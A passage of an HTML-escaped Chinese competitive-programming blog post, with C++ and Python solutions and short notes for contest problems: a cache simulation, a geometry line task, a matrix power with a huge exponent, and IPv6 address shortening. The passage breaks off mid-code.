class=\"keyword\"\u003econst\u003c/span\u003e string \u0026amp;str, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e v)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eauto\u003c/span\u003e ite = last.\u003cspan class=\"built_in\"\u003efind\u003c/span\u003e(str);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (ite != last.\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e()) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eauto\u003c/span\u003e cur = ite-\u0026gt;second;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, cur-\u0026gt;second);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cache.\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e(*cur);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cache.\u003cspan class=\"built_in\"\u003eerase\u003c/span\u003e(cur);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e last[cur-\u0026gt;first] = \u003cspan class=\"built_in\"\u003eprev\u003c/span\u003e(cache.\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, v);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cache.\u003cspan class=\"built_in\"\u003eemplace_back\u003c/span\u003e(str, v);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e last[str] = \u003cspan class=\"built_in\"\u003eprev\u003c/span\u003e(cache.\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u003c/span\u003e(cache.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e()) \u0026gt; M) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e last.\u003cspan class=\"built_in\"\u003eerase\u003c/span\u003e(cache.\u003cspan class=\"built_in\"\u003efront\u003c/span\u003e().first);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cache.\u003cspan class=\"built_in\"\u003eerase\u003c/span\u003e(cache.\u003cspan class=\"built_in\"\u003ebegin\u003c/span\u003e());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e last[str] = \u003cspan class=\"built_in\"\u003eprev\u003c/span\u003e(cache.\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003equery\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e string \u0026amp;str, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e v)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eauto\u003c/span\u003e ite = last.\u003cspan class=\"built_in\"\u003efind\u003c/span\u003e(str);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ((ite == last.\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e()) ||\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e (v == \u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003enext\u003c/span\u003e(ite-\u0026gt;second) == cache.\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e()) ||\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e (v == \u003cspan class=\"number\"\u003e-1\u003c/span\u003e \u0026amp;\u0026amp; ite-\u0026gt;second == cache.\u003cspan class=\"built_in\"\u003ebegin\u003c/span\u003e()))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Invalid\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eauto\u003c/span\u003e result = ite-\u0026gt;second;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (v == \u003cspan class=\"number\"\u003e-1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e result--;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (v == \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e result++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, result-\u0026gt;second);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e buffer[\u003cspan class=\"number\"\u003e2048\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e opt, v;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;T);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (T--) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cache.\u003cspan class=\"built_in\"\u003eclear\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e last.\u003cspan class=\"built_in\"\u003eclear\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\u0026#34;\u003c/span\u003e, \u0026amp;Q, \u0026amp;M);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (Q--) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %s %d\u0026#34;\u003c/span\u003e, \u0026amp;opt, buffer, \u0026amp;v);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (opt)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003equery\u003c/span\u003e(buffer, v);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eaccess\u003c/span\u003e(buffer, v);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"Magic-Line\"\u003eMagic Line\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e做几何的时候一定要注意代码的细节\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e过分别按照x与y取中位数得到的点画一条线,将坐标延伸至无限远,进行微小的调整,即可错开这个点。\u003cbr/\u003e此处有一细节问题:当调整极远处坐标时应考虑到线的旋转,从而会影响到一开始排序的方向。\u003c/p\u003e\u003ch2 id=\"第五场\"\u003e第五场\u003c/h2\u003e\u003ch3 id=\"generator1\"\u003egenerator1\u003c/h3\u003e\u003ch4 id=\"题意\"\u003e题意\u003c/h4\u003e\u003cp\u003e计算$2*2$矩阵的$n$次幂($n \\leq 10^{10^6}$)\u003c/p\u003e\u003ch4 id=\"思路\"\u003e思路\u003c/h4\u003e\u003cp\u003e首先$n$这么大,快速幂是肯定的。但是有个问题就是\u003cbr/\u003e这个整数转换为\u0026#34;整数\u0026#34;的复杂度不可忽略。\u003cbr/\u003e将n视为字符串$n_1,n_2,n_3,…,n_{|n|}$,其中$n_i$代表n的第i数位,对矩阵T有\u003c/p\u003e\u003cp\u003e\\begin{align}\u003cbr/\u003e\u0026amp; T^{int(n)} \\\\\u003cbr/\u003e==\u0026amp; T^{n_1*10^{|n|}+n_2*10^{|n|-1}+…} \\\\\u003cbr/\u003e==\u0026amp; T^{n_1*10^{|n|}}*T^{n_2*10^{|n|-1}}*…*T^{n_{|n|} *10^0}\u003cbr/\u003e\\end{align}\u003c/p\u003e\u003ch4 id=\"备注\"\u003e备注\u003c/h4\u003e\u003cp\u003e考场上应当就问题考虑解决问题的办法,找到问题的特征,不应该抱着现成的板子不放。过不去肯定有别的问题。\u003cbr/\u003e\u003cs\u003e但是我现在只想去世\u003c/s\u003e\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;cstdio\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;vector\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;cstring\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e vector\u0026lt;vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt; /**/\u0026gt; mat;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emat unit = mat{vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;{\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e}, vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;{\u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e}};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emat zero = mat{vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;{\u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e}, vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;{\u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e}};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e a, b, x1, x2, mod;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e n[\u003cspan class=\"number\"\u003e1000000\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e mat \u003cspan class=\"keyword\"\u003eoperator\u003c/span\u003e*(\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e mat \u0026amp;a, \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e mat \u0026amp;b) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mat ret = zero;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e; j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e k = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; k \u0026lt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e; k++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ret[i][j] += a[i][k] * b[k][j];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e; j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ret[i][j] %= mod;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ret;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etemplate\u003c/span\u003e \u0026lt;\u003cspan class=\"keyword\"\u003etypename\u003c/span\u003e T\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e T \u003cspan class=\"keyword\"\u003eoperator\u003c/span\u003e^(T a, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e n) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e T ret = unit;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (n) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (n \u0026amp; \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ret = ret * a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e n \u0026gt;\u0026gt;= \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e a = a * a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ret;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d %d %d\u0026#34;\u003c/span\u003e, \u0026amp;x1, \u0026amp;x2, \u0026amp;a, \u0026amp;b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s %d\u0026#34;\u003c/span\u003e, n, \u0026amp;mod);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e length = \u003cspan class=\"built_in\"\u003estrlen\u003c/span\u003e(n);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mat res = unit;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mat base = mat{vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;{a, b}, vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;{\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e}};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = length - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i--) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (n[i] - \u003cspan class=\"string\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = res * (base ^ (n[i] - \u003cspan class=\"string\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e base = base ^ \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = res * mat{vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;{x2, \u003cspan class=\"number\"\u003e0\u003c/span\u003e}, vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;{x1, \u003cspan class=\"number\"\u003e0\u003c/span\u003e}};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%lld\\n\u0026#34;\u003c/span\u003e, res[\u003cspan class=\"number\"\u003e1\u003c/span\u003e][\u003cspan class=\"number\"\u003e0\u003c/span\u003e]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"three-points-1\"\u003ethree points 1\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e有思路有思路。。。。\u003cbr/\u003e十分钟能写完么\u003cbr/\u003e不能\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"第六场\"\u003e第六场\u003c/h2\u003e\u003ch3 id=\"B-Shorten-IPv6-Address\"\u003eB: Shorten IPv6 Address\u003c/h3\u003e\u003cp\u003e比赛的时候我在干什么系列\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eT = \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(\u003cspan class=\"built_in\"\u003einput\u003c/span\u003e())\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecase = \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e T \u0026gt; case:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e case += \u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e x = \u003cspan class=\"built_in\"\u003einput\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e x = [\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(x[i:i+\u003cspan class=\"number\"\u003e16\u003c/span\u003e], \u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan 